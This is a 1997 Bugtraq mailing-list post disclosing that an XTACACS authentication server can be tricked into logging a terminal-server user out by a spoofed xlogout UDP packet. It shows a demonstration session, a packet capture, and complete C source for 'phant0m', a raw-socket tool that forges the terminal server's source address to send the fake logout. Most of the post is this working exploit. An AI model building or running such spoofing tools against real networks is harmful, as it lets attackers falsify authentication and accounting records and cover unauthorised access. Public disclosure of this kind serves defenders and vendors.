Date:        12/24/97 11:39:14 AM
From:        Coaxial Karma <c_karma@HOTMAIL.COM>
Subject:     Faking logout with XTACACS
To:          ("<BUGTRAQ@NETSPACE.ORG>"@LOCAL)

Hi,

I dunno if what follows has already been posted or not... Sorry if it
has
been.

I recently discovered that when a Terminal Server (TS) was using XTACACS
as authentication protocol, it was possible to make the XTACACS server
believes that you've disconnected.

In order to exploit this, you only have to send an xlogout request to
the
XTACACS server claiming to be from the TS.  Here is an example:

--- begin ---

koax# taclast | grep silger | head -1
silger    tty16    ts.c-a.org    Thu Dec 10 10:02   still logged in
koax# ./phant0m ts.c-a.org xtacacs.c-a.org 16
koax# taclast | grep silger | head -1
silger    tty16    ts.c-a.org    Thu Dec 10 10:02 - 10:03  (00:01) 72
koax#

--- end ---

The first packet is the one I sent to XTACACS authentication server and
the second one is the answer from the XTACACS authentication server to
the
TS.

10:03:24.000000 ts.c-a.org.49 > xtacacs.c-a.org.49: udp 56
                         4500 5400 3412 0000 ff11 6785 cee7 d20d
                         cee7 d202 3100 3100 4000 0000 8007 0000
                         0700 0004 0000 0000 0000 0000 0000 000f
                         0000 0000 0000 0000 0000 0000 0000 0000
                         0000 0000 0000 0000 0000 0000 0000 0000
                         0000 0000

10:03:24.000000 xtacacs.c-a.org.49 > ts.c-a.org.49: udp 28
                         4500 3800 ce7c 0000 4011 bc07 cee7 d202
                         cee7 d20d 3100 3100 2400 bfe6 8002 0000
                         0700 0100 0000 0000 0000 0000 0000 000f
                         0000 0000 0000 0000


Coaxial Karma
c_karma@hotmail.com

--- cut here ---

/************************************************************************
 *
 * phant0m v1.0 by Coaxial Karma, c_karma@hotmail.com
 * Modified version of arnudp.c v0.01 by Arny, cs6171@scitsc.wlv.ac.uk
 *

************************************************************************/

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in_systm.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/udp.h>
#include<errno.h>
#include<string.h>
#include<netdb.h>
#include<arpa/inet.h>
#include<stdio.h>

struct sockaddr sa;

main(int argc,char **argv)
{
int fd;
int x=1;
struct sockaddr_in *sin;
struct hostent *he;
u_char gram[84]=
        {
        /* IP Header */
        0x45,   0x00,   0x00,   0x26,
        0x12,   0x34,   0x00,   0x00,
        0xFF,   0x11,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,

        /* UDP Header */
        0x00,   0x31,   0x00,   0x31,
        0x00,   0x40,   0x00,   0x00,

        /* Data */
        0x80,   0x07,   0x00,   0x00,
        0x07,   0x00,   0x00,   0x04,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x05,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00,
        0x00,   0x00,   0x00,   0x00
        };

if (argc != 4)
        {
        fprintf(stderr, "usage: %s SRC-IP DST-IP TTY\n", *argv);
        exit(1);
        };

if ((he = gethostbyname(argv[1])) == NULL)
        {
        fprintf(stderr, "Can't resolve source hostname\n");
        exit(1);
        };
bcopy(*(he->h_addr_list), (gram+12), 4);

if ((he = gethostbyname(argv[2])) == NULL)
        {
        fprintf(stderr, "Can't resolve destination hostname\n");
        exit(1);
        };
bcopy(*(he->h_addr_list), (gram+16), 4);

*(u_short *) (gram + 46) = htons((u_short) atoi(argv[3]));

sin = (struct sockaddr_in *) &sa;
sin->sin_family = AF_INET;
bcopy(*(he->h_addr_list), &(sin->sin_addr), sizeof(struct in_addr));

if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
        {
        perror("socket");
        exit(1);
        };

#ifdef IP_HDRINCL
if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
        {
        perror("setsockopt IP_HDRINCL");
        exit(1);
        };
#else
fprintf(stderr, "We don't have IP_HDRINCL.\n\n");
exit(1);
#endif

if ((sendto(fd, &gram, sizeof(gram), 0, (struct sockaddr *) sin,
sizeof(struct sockaddr))) == -1)
        {
        perror("sendto");
        exit(1);
        };

}

--- cut here ---



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